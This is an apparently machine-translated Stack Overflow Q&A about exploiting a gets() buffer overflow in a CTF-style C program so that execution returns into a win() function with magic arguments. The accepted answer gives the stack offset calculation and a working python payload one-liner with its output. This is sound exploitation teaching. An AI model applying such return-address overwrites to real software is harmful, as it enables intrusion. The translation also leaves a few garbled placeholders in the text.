缓冲区溢出:覆盖CH

时间:2019-09-19 09:29:27

标签: gcc assembly x86 buffer-overflow exploit

我有一个容易遭受缓冲区溢出的程序。易受攻击的函数有2个参数。第一个是标准的4个字节。但是,对于第二个程序,该程序执行以下操作:

xor ch, 0
...
cmp     dword ptr [ebp+10h], 0F00DB4BE

现在,如果我提供2个不同的4字节参数作为利用的一部分,即ABCDEFGH(假设ABCD是第一个参数,EFGH是第二个参数),{{1 }}变成CH。因此,我自然而然地想到了以下内容(假设G是正确的):

ABCD

但是发生的是空位似乎被忽略了!在ABCD\x00\x0d\x00\x00CH = 0中发送以上结果。无论我将CL = 0xd放在哪里,即:

\x0d ABCD\x0d\x00\x00\x00 ABCD\x00\x0d\x00\x00 ABCD\x00\x00\x0d\x00

所有产生相同的行为。

如何将ABCD\x00\x00\x00\x0d的其余部分保留为空,如何继续覆盖CH

编辑:请在下面查看我自己的答案。简短的版本是bash忽略空字节,部分解释了为什么该漏洞利用在本地不起作用。确切原因可以在here中找到。感谢Michael Petch指出来!

来源:

ECX

#include <stdio.h> #include <stdlib.h> void win(long long arg1, int arg2) { if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE) { puts("Close, but not quite."); exit(1); } printf("You win!\n"); } void vuln() { char buf[16]; printf("Type something>"); gets(buf); printf("You typed %s!\n", buf); } int main() { /* Disable buffering on stdout */ setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; } 的可执行文件反汇编的相关部分是:

objdump

2 个答案:

答案 0 :(得分:2)

目前还不清楚为什么您对ECX函数中的xor ch, 0win指令中的值感到迷恋。根据 C 代码,很明显,要检查获胜,必须将64位(long longarg1设置为0x14B4DA55,将arg2设置为0x14B4DA55。 0xF00DB4BE。满足该条件后,它将打印You win!

我们需要某种能够利用win函数并使其似乎正在传递第一个参数(64位long long)和32位参数的缓冲区利用程序int作为第二个参数。

最明显的实现方法是函数buf中的溢出vuln,该函数有策略地覆盖返回地址,并将其替换为win的地址。在反汇编输出中,win位于0x080491c2。我们将需要先写0x080491c2,然后再写一些虚拟值作为返回地址,再写64位值0x14B4DA55(与0x0000000014B4DA55相同),再写32位值0xF00DB4BE。

需要返回地址的伪值,因为我们需要在堆栈上模拟函数调用。我们不会发出call指令,因此我们必须使其看起来好像已经完成了。目标是打印You win!是否在此之后程序崩溃与否无关。

由于x86处理器的字节序很少,因此返回地址(winarg1arg2必须以相反的顺序存储为字节。

最后一个大问题是,我们必须向gets馈送多少字节以使缓冲区溢出才能到达返回地址?您可以使用试错法(bruteforce)来解决这个问题,但是我们可以看看对gets的调用的反汇编:

 80492ac:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492af:       50                      push   %eax
 80492b0:       e8 8b fd ff ff          call   8049040 <gets@plt

LEA用于计算堆栈上buf的地址(有效地址),并将其作为第一个参数传递给gets。 0x18是24个字节(十进制)。尽管buf的长度定义为16个字节,但编译器还为对齐目的分配了额外的空间。我们必须增加4个字节来解决函数序言将EBP压入堆栈的事实。总共28个字节(24 + 4)才能到达返回地址在堆栈上的位置。

在许多教程中,通常使用PYTHON生成输入序列。直接在外壳程序字符串中嵌入NUL(\0)字符可能会导致Shell程序过早地在NUL字节(issue that people have when using BASH)处终止字符串。我们可以使用以下方式将字节序列通过管道传输到我们的程序中:

python -c 'print "A"*28+"\xc2\x91\x04\x08" \
    +"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname

progname是可执行文件的名称。运行时,它应类似于:

Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ!
You win!
Segmentation fault

注意:组成AB之间的返回地址的4个字符不可打印,因此不会出现在控制台输出中,但是它们以及所有其他不可打印的字符仍然存在。

答案 1 :(得分:0)

作为对我自己问题的有限回答,特别是关于为何忽略空字节的问题:

似乎bash似乎忽略了空字节

我的许多其他同伴在编写漏洞利用程序时也遇到了同样的问题。例如,在gdb上,它将在服务器上运行,但不能在本地运行。 Bash只会忽略空字节,因此\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0将被读为\x55\xda\xb4\x14\xbe\xb4\x0d\xf0。这种行为的确切原因仍然让我难以理解,但记住这是一件好事!